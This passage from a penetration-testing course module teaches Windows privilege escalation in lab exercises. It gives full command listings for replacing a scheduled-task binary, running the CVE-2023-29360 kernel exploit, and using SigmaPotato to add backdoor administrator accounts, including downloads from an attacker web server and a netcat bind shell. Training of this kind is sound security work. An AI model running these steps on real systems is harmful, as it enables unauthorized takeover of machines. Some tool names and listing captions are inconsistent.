(Andrew Freeborn, 2016), https://www.tenable.com/sc-report-templates/microsoft-windows-unquoted-service-path-vulnerability ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmic ↩︎
(Richard L. Mueller, 2021), https://www.rlmueller.net/PowerShellEscape.htm ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/select-string?view=powershell-7.2 ↩︎
Resources
Some of the labs require you to start the target machine(s) below.
Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.
Labs
- Follow the steps from this section on CLIENTWK220 (VM #1) to exploit the unquoted service path of GammaService. Obtain code execution, an interactive shell, or access to the GUI as an administrative user and find the flag on the desktop of daveadmin.
- Connect to CLIENTWK221 (VM #2) via RDP as user damian with the password ICannotThinkOfAPassword1!. Enumerate the services and find an unquoted service binary path containing spaces. Exploit it with methods from this section and obtain an interactive shell as the user running the service. Find the flag on the desktop.
16.3. Abusing Other Windows Components
This Learning Unit covers the following Learning Objectives:
- Leverage Scheduled Tasks to elevate our privileges
- Understand the different types of exploits leading to privilege escalation
- Abuse privileges to execute code as privileged user accounts
In the previous Learning Unit, we used privilege escalation vectors related to Windows services. This is not the only Windows component we can abuse to elevate our privileges. In this Learning Unit, we'll explore Scheduled Tasks and exploits targeting Windows itself to perform privilege escalation attacks.
16.3.1. Scheduled Tasks
Windows uses the Task Scheduler to execute various automated tasks, such as clean-up activities or update management. On Windows, they are called Scheduled Tasks, or Tasks, and are defined with one or more triggers. A trigger is used as a condition, causing one or more actions to be executed when met. For example, a trigger can be set to a specific time and date, at startup, at log on, or on a Windows event. An action specifies which program or script to execute. There are various other possible configurations for a task, categorized in the Conditions, Settings, and General menu tabs of a task's property.
For us, three pieces of information are vital to obtain from a scheduled task to identify possible privilege escalation vectors:
- As which user account (principal) does this task get executed?
- What triggers are specified for the task?
- What actions are executed when one or more of these triggers are met?
The first question helps us understand if abusing the task will eventually lead to privilege escalation. If the task is executed in the context of our current user, it won't lead us to elevated privileges. However, if the task runs as NT AUTHORITY\SYSTEM or as an administrative user, then a successful attack could lead us to privilege escalation.
The second question is important because if the trigger condition was met in the past, the task will not run again in the future and therefore, is not a viable target for us. Additionally, if we are in a week-long penetration test, but the task runs after this time, we should search for another privilege escalation vector. However, we would mention this finding in a penetration testing report for a client.
While the first two questions help us understand if this task is even an option for a privilege escalation attack, the answer to the third question determines how we can perform the potential privilege escalation. In the majority of cases, we can leverage familiar tactics such as replacing the binary or placing a missing DLL as we did with services in a previous Learning Unit. While we don't have a service binary with scheduled tasks, we have programs and scripts specified by actions.
Let's walk through an example in which we attempt to elevate our privileges by replacing a binary specified in an action. For this, we'll connect once again as steve (password securityIsNotAnOption++++++) to CLIENTWK220 with RDP and start a PowerShell window.
We can view scheduled tasks on Windows with the Get-ScheduledTask1 Cmdlet or the command schtasks /query.2 We'll use the latter for this example to review all scheduled tasks on CLIENTWK220. We enter /fo with LIST as argument to specify the output format as list. Additionally, we add /v to display all properties of a task.
Once the command is executed, we get a huge amount of output with information about all scheduled tasks on the system. We should seek interesting information in the Author, TaskName, Task To Run, Run As User, and Next Run Time fields. In our case, "interesting" means that the information partially or completely answers one of the three questions above.
PS C:\Users\steve> schtasks /query /fo LIST /v
...
Folder: \Microsoft
HostName: CLIENTWK220
TaskName: \Microsoft\CacheCleanup
Next Run Time: 7/11/2022 2:47:21 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 7/11/2022 2:46:22 AM
Last Result: 0
Author: CLIENTWK220\daveadmin
Task To Run: C:\Users\steve\Pictures\BackendCacheCleanup.exe
Start In: C:\Users\steve\Pictures
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode
Run As User: daveadmin
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: One Time Only, Minute
Start Time: 7:37:21 AM
Start Date: 7/4/2022
...
Listing 75 - Display a list of all scheduled tasks on CLIENTWK220
Listing 75 shows information about a task named \Microsoft\CacheCleanup. Interestingly, the task was created by daveadmin and the specified action is to execute BackendCacheCleanup.exe in the Pictures home directory of steve. In addition, the times from Last Run Time and Next Run Time indicate that the task is executed every minute. The task runs as user daveadmin.
Since the executable file BackendCacheCleanup.exe is located in a subdirectory of the home directory of steve, we should have extensive permissions on it. Let's check our permissions on this file with icacls.
PS C:\Users\steve> icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe
C:\Users\steve\Pictures\BackendCacheCleanup.exe NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
CLIENTWK220\steve:(I)(F)
CLIENTWK220\offsec:(I)(F)
Listing 76 - Display permissions on the executable file BackendCacheCleanup.exe
As expected, we have Full Access (F) permissions, since the executable file is in the home directory of steve. Now, we can use our binary adduser.exe again to replace the executable file specified in the action of the scheduled task.
To do so, we'll start a Python3 web server to serve our cross-compiled file, adduser.exe, and use iwr to download it to CLIENTWK220. We'll also copy the original BackendCacheCleanup.exe so we can restore it after our privilege escalation attack is successful.
PS C:\Users\steve> iwr -Uri http://192.168.48.3/adduser.exe -Outfile BackendCacheCleanup.exe
PS C:\Users\steve> move .\Pictures\BackendCacheCleanup.exe BackendCacheCleanup.exe.bak
PS C:\Users\steve> move .\BackendCacheCleanup.exe .\Pictures\
Listing 77 - Download and replace executable file BackendCacheCleanup.exe
Once the scheduled task is executed again, dave2 should be created and added to the local Administrators group. After waiting a minute, we can check if our privilege escalation attack was successful.
PS C:\Users\steve> net user
User accounts for \\CLIENTWK220
-------------------------------------------------------------------------------
Administrator BackupAdmin dave
dave2 daveadmin DefaultAccount
Guest offsec steve
WDAGUtilityAccount
The command completed successfully.
PS C:\Users\steve> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
BackupAdmin
dave2
daveadmin
offsec
The command completed successfully.
Listing 78 - Display permissions on the executable file BackendCacheCleanup.exe
Listing 78 shows that we successfully replaced the executable file used by the scheduled task to create an administrative user whose credentials we control. Great!
In this section, we leveraged a similar privilege escalation attack as we did in the section "Service Binary Hijacking". This time however, we focused on scheduled tasks instead of Windows services. We learned how to effectively enumerate scheduled tasks and which properties may be of interest to us. We concluded the section by replacing the executable file and creating the user dave2, which is a member of the local Administrators group.
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/powershell/module/scheduledtasks/get-scheduledtask?view=windowsserver2022-ps ↩︎
(Microsoft Documentation, 2021), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-query ↩︎
Resources
Some of the labs require you to start the target machine(s) below.
Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.
Labs
- Follow the steps from this section on CLIENTWK220 (VM #1) to exploit the scheduled task CacheCleanup by replacing the binary specified as action. Obtain code execution, an interactive shell, or access to the GUI as administrative user and find the flag on the desktop of daveadmin.
- Connect to CLIENTWK221 (VM #2) via RDP as the user moss with the password work6potence6PLASMA6flint7. Enumerate the scheduled tasks on the system and find a way to obtain an interactive shell as user running the scheduled task. The flag can be found on the desktop.
16.3.2. Using Exploits
In the previous sections, we attempted to elevate our privileges by searching for sensitive information on a system or abusing Windows components such as Windows services or scheduled tasks. In this section, we'll discuss three different kinds of exploits leading to privilege escalation and then show two of them in an example.
The first kind is to exploit application-based vulnerabilities. Installed applications on a Windows system may contain different types of vulnerabilities as we learned in the Module "Locating Public Exploits". If these applications run with administrative permissions and we can exploit a vulnerability that leads to code execution, we can also successfully elevate our privileges.
The second kind is to exploit vulnerabilities in the Windows Kernel.1 However, the vulnerability research and related exploit techniques are, in most cases, quite advanced and require an in-depth understanding of the Windows operating system. For the purposes of this Module, it is enough to understand that Windows kernel exploits exist and can be used for privilege escalation.
Before we blindly download and use a kernel exploit, we need to consider that these types of exploits can easily crash a system. Depending on the rules of engagement of a penetration test, we may not be allowed to use methods that will potentially disrupt services or systems. Therefore, we should always have a clear understanding of our limitations, exclusions, and boundaries in a real-life assessment. These words of caution should not lead us to abstain from all kernel exploits, but provide us with the correct mindset when working with them.
Let's show how we can take advantage of kernel exploits in an example by connecting to CLIENTWK220 with RDP as steve and password securityIsNotAnOption++++++. We'll start PowerShell and use whoami /priv to display the assigned privileges of steve.
PS C:\Users\steve> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeSecurityPrivilege Manage auditing and security log Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Listing 79 - Logging in over RDP as steve and checking our current privileges
Listing 79 shows that steve does not have any special privileges assigned. Our next step is to enumerate the version of Windows as well as any security patches installed.
PS C:\Users\steve> systeminfo
Host Name: CLIENTWK220
OS Name: Microsoft Windows 11 Pro
OS Version: 10.0.22621 N/A Build 22621
...
PS C:\Users\steve> Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }
Source Description HotFixID InstalledBy InstalledOn
------ ----------- -------- ----------- -----------
Security Update KB5025239 5/4/2023 12:00:00 AM
Security Update KB5025749 5/4/2023 12:00:00 AM
Security Update KB5017233 9/25/2022 12:00:00 AM
Listing 80 - Enumerating the Windows version and security patches
The output from Listing 80 shows that not many security updates are present on this Windows 22H2 version. Going over the Security Vulnerabilities section of the Microsoft Security Response Center2 we can see that quite a few kernel vulnerabilities that can lead to the elevation of privileges are being patched.
After extensive searches on the internet we are able to locate public exploit code for the CVE-2023-293603. In addition to the source code being available a pre-compiled version of the exploit is also provided. Looking at the official MSRC website for this vulnerability we notice that Microsoft provides security patches4 for this vulnerability, specifically we can see the patch is deployed as KB5027215 which was not present on our target.
We already have a compiled version of the kernel exploit present on the virtual machine on the Desktop directory of the steve user.
PS C:\Users\steve> cd .\Desktop\
PS C:\Users\steve\Desktop> dir
Directory: C:\Users\steve\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/3/2024 2:00 AM 157184 CVE-2023-29360.exe
-a---- 9/3/2024 1:59 AM 2354 Microsoft Edge.lnk
Listing 81 - Locating the kernel exploit on the Desktop of the steve user
Let's inspect the current user we're running as, following this we will run the exploit and then see if anything changed.
PS C:\Users\steve\Desktop> whoami
clientwk220\steve
PS C:\Users\steve\Desktop> .\CVE-2023-29360.exe
[+] Device Description: Microsoft Streaming Service Proxy
Hardware IDs:
"SW\{96E080C7-143C-11D1-B40F-00A0C9223196}"
[+] Device Instance ID: SW\{96E080C7-143C-11D1-B40F-00A0C9223196}\{3C0D501A-140B-11D1-B40F-00A0C9223196}
[+] First mapped _MDL: 25f9aa00140
[+] Second mapped _MDL: 25f9aa10040
[+] Unprivileged token reference: ffffd1072dde6061
[+] System token reference: ffffd1071de317d5
Microsoft Windows [Version 10.0.22621.1555]
(c) Microsoft Corporation. All rights reserved.
C:\Users\steve\Desktop>whoami
nt authority\system
Listing 82 - Elevating our privileges to SYSTEM
Listing 82 shows that we were able to successfully elevate our privileges by running the kernel exploit.
While how the exploit works is outside the scope of this module, it's important to know that such exploits are only used when the accompanying source code is available to ensure that nothing malicious is done by the binary. Additionally kernel exploits, if allowed to be used, are tested on a clone of the target before to ensure that the system will not crash upon execution.
Now that we've seen a kernel exploit in action, the last kind of attack vector for privilege escalation is to abuse certain Windows privileges. Non-privileged users with assigned privileges, such as SeImpersonatePrivilege, can potentially abuse those privileges to perform privilege escalation attacks. SeImpersonatePrivilege offers the possibility to leverage a token with another security context. Meaning, a user with this privilege can perform operations in the security context of another user account under the right circumstances. By default, Windows assigns this privilege to members of the local Administrators group as well as the device's LOCAL SERVICE, NETWORK SERVICE, and SERVICE accounts. Microsoft implemented this privilege to prevent unauthorized users from creating a service or server application to impersonating clients connecting to it. An example would be Remote Procedure Calls (RPC)5 or named pipes.6
Other privileges that may lead to privilege escalation are SeBackupPrivilege, SeAssignPrimaryToken, SeLoadDriver, and SeDebug. In this section, we'll closely inspect privilege escalation vectors in the context of SeImpersonatePrivilege.
In penetration tests, we'll rarely find standard users with this privilege assigned. However, we'll commonly come across this privilege when we obtain code execution on a Windows system by exploiting a vulnerability in an Internet Information Service (IIS)7 web server. In most configurations, IIS will run as LocalService, LocalSystem, NetworkService, or ApplicationPoolIdentity,8 which all have SeImpersonatePrivilege assigned. This also applies to other Windows services.
Before we head into the example, let's discuss named pipes and how we can use them in the context of SeImpersonatePrivilege to impersonate a privileged user account.
Named pipes are one method for local or remote Inter-Process Communication9 in Windows. They offer the functionality of two unrelated processes sharing and transferring data with each other. A named pipe server can create a named pipe to which a named pipe client can connect via the specified name. The server and client don't need to reside on the same system.
Once a client connects to a named pipe, the server can leverage SeImpersonatePrivilege to impersonate this client after capturing the authentication from the connection process. To abuse this, we need to find a privileged process and coerce it into connecting to a controlled named pipe. With SeImpersonatePrivilege assigned, we can then impersonate the user account connecting to the named pipe and perform operations in its security context.
For this example, we'll use a tool named SigmaPotato10, which implements a variation of the potato privilege escalations11 to coerce NT AUTHORITY\SYSTEM into connecting to a controlled named pipe. We can use this tool in situations where we have code execution as a user with the privilege SeImpersonatePrivilege to execute commands or obtain an interactive shell as NT AUTHORITY\SYSTEM.
Now, let's begin by connecting to the bind shell on port 4444 on CLIENTWK220 as we did in the previous sections. We use whoami /priv to display the assigned privileges of dave.
kali@kali:~$ nc 192.168.50.220 4444
Microsoft Windows [Version 10.0.22000.318]
(c) Microsoft Corporation. All rights reserved.
C:\Users\dave> whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeSecurityPrivilege Manage auditing and security log Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Listing 83 - Checking assigned privileges of dave
Listing 83 shows that dave has the privilege SeImpersonatePrivilege assigned. Therefore, we can attempt to elevate our privileges by using PrintSpoofer. Let's open another terminal tab on Kali, download the 64-bit version of this tool, and serve it with a Python3 web server.
kali@kali:~$ wget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe
...
2024-09-03 12:50:48 (1.26 MB/s) - 'SigmaPotato.exe' saved [63488/63488]
kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Listing 84 - Downloading PrintSpoofer64.exe and serve it with a Python3 web server
In the terminal tab with the active bind shell, we'll start a PowerShell session and use iwr to download SigmaPotato.exe from our Kali machine.
C:\Users\dave> powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Users\dave> iwr -uri http://192.168.48.3/SigmaPotato.exe -OutFile SigmaPotato.exe
iwr -uri http://192.168.48.3/SigmaPotato.exe -OutFile SigmaPotato.exe
Listing 85 - Downloading SigmaPotato.exe to CLIENTWK220
While using SigmaPotato.exe we are able to execute commands in the context of NT AUTHORITY\SYSTEM. We will use the net user command to add a new user to the system and following this we will add that user to the Administrators localgroup.
S C:\Users\dave> .\SigmaPotato "net user dave4 lab /add"
.\SigmaPotato "net user dave4 lab /add"
[+] Starting Pipe Server...
[+] Created Pipe Name: \\.\pipe\SigmaPotato\pipe\epmapper
[+] Pipe Connected!
...
[+] Process Started with PID: 2004
[+] Process Output:
The command completed successfully.
PS C:\Users\dave> net user
net user
User accounts for \\CLIENTWK220
-------------------------------------------------------------------------------
Administrator BackupAdmin dave
dave4 daveadmin DefaultAccount
Guest offsec steve
WDAGUtilityAccount
The command completed successfully.
PS C:\Users\dave> .\SigmaPotato "net localgroup Administrators dave4 /add"
.\SigmaPotato "net localgroup Administrators dave4 /add"
[+] Starting Pipe Server...
[+] Created Pipe Name: \\.\pipe\SigmaPotato\pipe\epmapper
[+] Pipe Connected!
...
[+] Process Started with PID: 10872
[+] Process Output:
The command completed successfully.
PS C:\Users\dave> net localgroup Administrators
net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
BackupAdmin
dave4
daveadmin
offsec
The command completed successfully.
Listing 86 - Using the SigmaPotato tool to get add a new user to the Administrators localgroup.
Listing 86 shows that we successfully performed the privilege escalation attack and were able to add a new user user the Adminsitrators localgroup_. Excellent!
While SigmaPotato provided us a straightforward exploit process to elevate our privileges, there are also other tools that can abuse SeImpersonatePrivilege for privilege escalation. Variants from the Potato12 family (for example RottenPotato, SweetPotato, , JuicyPotato or Godpotato) are such tools. We should take the time to study these tools.
Let's briefly summarize what we did in this section. First, we explored different kinds of vulnerabilities we can abuse using exploits in the context of privilege escalation. Then, we discussed the SeImpersonatePrivilege privilege and how we can use it to impersonate privileged accounts. Finally, we used a tool named PrintSpoofer to leverage this privilege to obtain an interactive PowerShell session as NT AUTHORITY\SYSTEM.
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Architecture_of_Windows_NT ↩︎
(MSRC, 2024), https://msrc.microsoft.com/ ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/windows/win32/rpc/rpc-start-page ↩︎
(Microsoft Documentation, 2021), https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipes ↩︎
(IIS, 2022), https://www.iis.net/ ↩︎
(Microsoft Documentation, 2022), https://docs.microsoft.com/en-us/iis/manage/configuring-security/application-pool-identities ↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Inter-process_communication ↩︎
(Github, 2024), https://github.com/tylerdotrar/SigmaPotato ↩︎
(Potatoes - Windows Privilege Escalation, 2020), https://jlajara.gitlab.io/Potatoes_Windows_Privesc ↩︎
(jlajara Gitlab, 2020), https://jlajara.gitlab.io/Potatoes_Windows_Privesc ↩︎
Resources
Some of the labs require you to start the target machine(s) below.
Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.
Labs
- Follow the steps from this section on CLIENTWK220 (VM #1). Use the CVE-2023-29360 exploit located on the Desktop of the steve user to elevate your privileges to NT AUTHORITY\SYSTEM and find the flag on the desktop of daveadmin.
- Follow the steps from this section on CLIENTWK220 (VM #2). Use SigmaPotato to obtain code execution, an interactive shell, or access to the GUI as administrative user and find the flag on the desktop of daveadmin.
- Capstone Lab: Get access to CLIENTWK222 (VM #3) by connecting to the bind shell on port 4444. Use the methods covered in this Module to elevate your privileges to an administrative user. Enter the flag, which is located in C:\Users\enterpriseadmin\Desktop\flag.txt.
16.4. Wrapping Up
In this Module, we covered various methods to perform privilege escalation attacks on Windows systems. We started by exploring both manual and automated enumeration techniques to identify sensitive information and establish situational awareness. Then, we discussed three different methods to elevate our privileges by abusing Windows services. In the last Learning Unit, we explored how we can abuse scheduled tasks and discussed what types of exploits can lead to privilege escalation.
The methods covered in this Module are some of the most common methods for privilege escalation on Windows. However, there are numerous other vectors we can leverage to elevate our privileges such as privileged file writes.1 In addition, privilege escalation is an ever-evolving landscape in which new vectors and vulnerabilities are continuously discovered and developed. Nevertheless, we'll face situations in penetration tests where it is not possible to perform successful privilege escalation due to a good security posture or security technologies on the target system. In these situations, we should leverage the methods and techniques we learned in other Modules and try to attack other systems and services.
- © 2024 OffSec |
- Privacy |
- Terms of service
Previous Module
Password Attacks
Next Module
Linux Privilege Escalation